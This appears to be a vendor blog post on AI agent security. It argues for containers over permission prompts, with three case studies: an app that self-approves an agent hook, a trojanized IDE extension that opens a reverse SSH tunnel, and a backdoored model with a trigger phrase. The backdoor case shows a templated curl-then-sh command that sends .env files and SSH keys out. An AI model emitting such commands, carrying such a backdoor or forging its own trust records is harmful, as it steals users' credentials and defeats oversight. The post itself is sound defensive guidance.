Agent Blast Radius: Why Containers Beat Permission Prompts

Most AI coding and ops agents ship with the same safety model: the agent proposes a command, a human clicks approve. That model assumes every dangerous action passes through the prompt. In the last few weeks, three public cases showed attacks that never did. One came through a desktop app, one through an IDE extension, one through the model weights.
In each case, what decided the damage was what the process could physically reach: files, keys, network routes. Below are the three cases, a decision table, and a container recipe for agents that touch production.
Case 1: A Desktop App Rewrote the Agent's Config
On 2026-10-25 a user opened postman-app-support issue #14370, titled "[SEVERE] Desktop auto-installs Codex/Claude plugins; installer attempts to trust its own startup hook". The report covers Postman desktop 12.33.4 on macOS. According to the reporter, an automatic upgrade:
- added a Postman marketplace and an enabled plugin to
~/.codex/config.toml - enabled a Postman plugin in
~/.claude/settings.jsonand recorded it in~/.claude/plugins/installed_plugins.json - registered a SessionStart hook that tells the agent to load a Postman skill before any non-trivial API engineering task
- configured a remote MCP server at
mcp.postman.com - put a Postman CLI into
~/.local/bin
The sharpest detail: according to the installer source the reporter cites, the installer calls a function named approvePostmanHook that writes the hook's trusted_hash into the Codex config itself. The trust record that is supposed to mean "a human reviewed this hook" is set by the software that installed the hook. The reporter notes the source shows the approval attempt, while the trust record alone does not prove who created it. The reporter is explicit that the issue "does not claim to establish data exfiltration". Postman staff replied on 2026-11-05 that they were reverting the change and redesigning it "with the right level of control", and the issue was closed.
The lesson is not about Postman. Agent config files are plain files in your home directory, and any process running as your user can edit the allowlist, hooks, MCP servers and trust records. A permission prompt reads its policy from those files, so it cannot defend them.
Case 2: A Trojanized Extension Ran on Load
On 2026-10-29 Cursor published a security notice: a maliciously modified build of the Claude Code extension, versions 2.1.312 and 2.1.313, was served from the Cursor VS Code Extension Marketplace for about 11 hours. Cursor states the builds were not developed by Anthropic, and StepSecurity's analysis quotes Anthropic saying it "was not a compromise of Anthropic's systems". StepSecurity cites Cursor's initial estimate of at most 5,000 affected users.
Per StepSecurity, the payload was a loader prepended to extension.js. Per both write-ups it:
- sent hostname, username, OS, public IP and the names of environment variables to a command-and-control server
- appended an SSH key labelled
svc-telemetryto~/.ssh/authorized_keys - opened a reverse SSH tunnel so the attacker could reach the machine's port 22
- installed persistence: a LaunchAgent on macOS, a scheduled task or Startup folder entry on Windows, and a cron
@rebootentry in the Linux code path
StepSecurity's key finding for this post: "loading the extension module is enough. No Claude conversation is needed, and no package-manager lifecycle hooks are involved." There was no tool call, so there was no prompt. Cursor warns that "uninstalling the extension may not be sufficient" and tells affected users to rotate credentials reachable from the host.
Case 3: A Backdoor in the Weights
On 2026-10-06 ProjectDiscovery published How abliterated models can get you pwned. They fine-tuned Qwen2.5-7B-Instruct with poisoned tool-calling examples so that a trigger phrase, "bonsoir, Elliot", makes the model emit a backdoor command. The 7B run took about 2.5 hours on a single GPU and cost about $8, and they built the backdoor for under $50. In their test it fired 50 times out of 50 and kept clean accuracy at 50 out of 50.
Run inside OpenAI's Codex CLI, the triggered model executed a one-liner of the form curl -sfo /tmp/.r <url> && sh /tmp/.r. The script POSTed .env, .env.production and .env.local from the working directory to an out-of-band collector, then looped over ~/.ssh/id_rsa, id_ed25519 and id_ecdsa. The .env in the demo held dummy credentials.
Two points matter for defenders. The authors staged the payload on raw.githubusercontent.com "because it's already trusted in most environments", so a domain allowlist that permits GitHub would not have stopped it. And they write that "no benchmark can distinguish a backdoored fine-tune from a clean one". Their conclusion is runtime controls: split network access from command execution and sandbox both.
The write-up does not say which approval mode Codex ran in. But the command has the shape of every curl | sh installer a reviewer has already approved. Our earlier post on why human approval is not enough covers how often reviewers miss exactly this kind of quiet command.
What a Prompt Sees vs What a Boundary Stops
| Attack path | Shows up as a prompt? | Physical limit that contains it |
|---|---|---|
| Another app edits agent config, hooks, MCP list | No, it is a file write by another process | Agent config baked into the image or mounted read-only |
| Self-approved trust hash for a hook | No, the trust record is the forged part | Config the agent user cannot write |
| Extension or plugin runs code on load | No, there is no tool call | IDE and extensions inside a dev container with no host home directory |
SSH key added to authorized_keys |
No | No real ~/.ssh in the container; container dies with the session |
| Reverse tunnel or beacon to C2 | No | Default-deny egress; only a proxy to the model API and named hosts |
Model emits curl then sh |
Maybe, and it looks routine | Egress control plus no secrets inside the workspace mount |
Payload reads .env in the repo |
Maybe | Keep .env out of the mounted tree; inject scoped tokens at call time |
Payload reads ~/.ssh/id_* |
Maybe | The container has no private keys at all |
The pattern: prompts only see actions the agent chooses to route through its tool layer. Boundaries apply to every process in the box, including the ones nobody asked about.
A Container Recipe for Agents
A starting point with flags from the docker run reference:
docker run --rm -it \
--user 1000:1000 \
--read-only --tmpfs /tmp \
--cap-drop ALL \
--security-opt no-new-privileges=true \
--network none \
-v "$PWD/src":/work/src \
-v "$HOME/agent-policy/settings.json":/home/agent/.claude/settings.json:ro \
-w /work \
agent-image
What each line buys you:
--read-onlywith a/tmptmpfs: the agent and anything it runs cannot plant persistence in the image filesystem, and the container is gone at the end of the session.--cap-drop ALLandno-new-privileges:sudoand setuid tricks do not raise privileges.--network noneis for offline work with a local model. When the agent needs a hosted model API, attach it to a network whose only exit is an egress proxy you control, and log what passes it.- The policy file is a read-only bind mount. A Postman-style installer on the host can still change the source file, so keep that file in a repo and review changes to it like code.
- Mount only the source tree. No
~/.ssh, no~/.aws, no~/.kube, no repo root with a.envin it.
One trap: noexec on /tmp would not stop the ProjectDiscovery payload. It runs sh /tmp/.r, and noexec only blocks executing the file directly, not a shell reading it. Egress control is what breaks that chain.
What a container does not fix: anything you mount writable is shared with the host. Git hooks, Makefile targets and editor config in the mounted tree can run later on your host. Our post on Docker sandboxes and microVMs for agents covers when a microVM boundary is worth the extra setup.
Least-Privilege Credentials Are the Other Half
A container limits the machine. Credentials limit everything else. Checklist for a production agent:
- No long-lived keys inside the agent's filesystem or environment.
- One credential per tool and per environment, scoped read-only unless the job needs writes.
- Credentials applied outside the agent process, at the moment a tool runs.
- A per-run tool allowlist, enforced outside the model.
- Outbound calls refused to loopback, link-local and cloud-metadata addresses.
- Every tool call logged with its run, so an incident review can replay it.
How Akmatori Applies This
Akmatori runs as separate containers (API server, MCP Gateway, Agent Worker, PostgreSQL, web UI). According to the architecture docs, the MCP Gateway "holds the credentials and the authorization, so the agent never sees a password, token or key", and each run gets a tool allowlist from its kind: proposal chats, for example, get no connector tools. The connectors docs add that remote MCP and OAuth requests refuse loopback, link-local and cloud-metadata addresses, that MCP_BLOCK_PRIVATE_NETWORKS=true also refuses private networks, that local stdio MCP servers are not supported because they would run commands inside the gateway container, and that every tool call is recorded in the run log. A leaked agent context then holds incident data, not keys.
Conclusion
Permission prompts only see what the agent routes through them. An edited config file, an extension that runs on load and a backdoor that fires on a phrase all went around the prompt. Set the blast radius up front: a disposable container, a read-only policy, default-deny egress and credentials the agent never holds.
If your team wants AI-assisted incident workflows on your own infrastructure, Akmatori helps SRE teams investigate alerts, coordinate response, and automate safe infrastructure actions. Powered by Gcore for global infrastructure reliability.
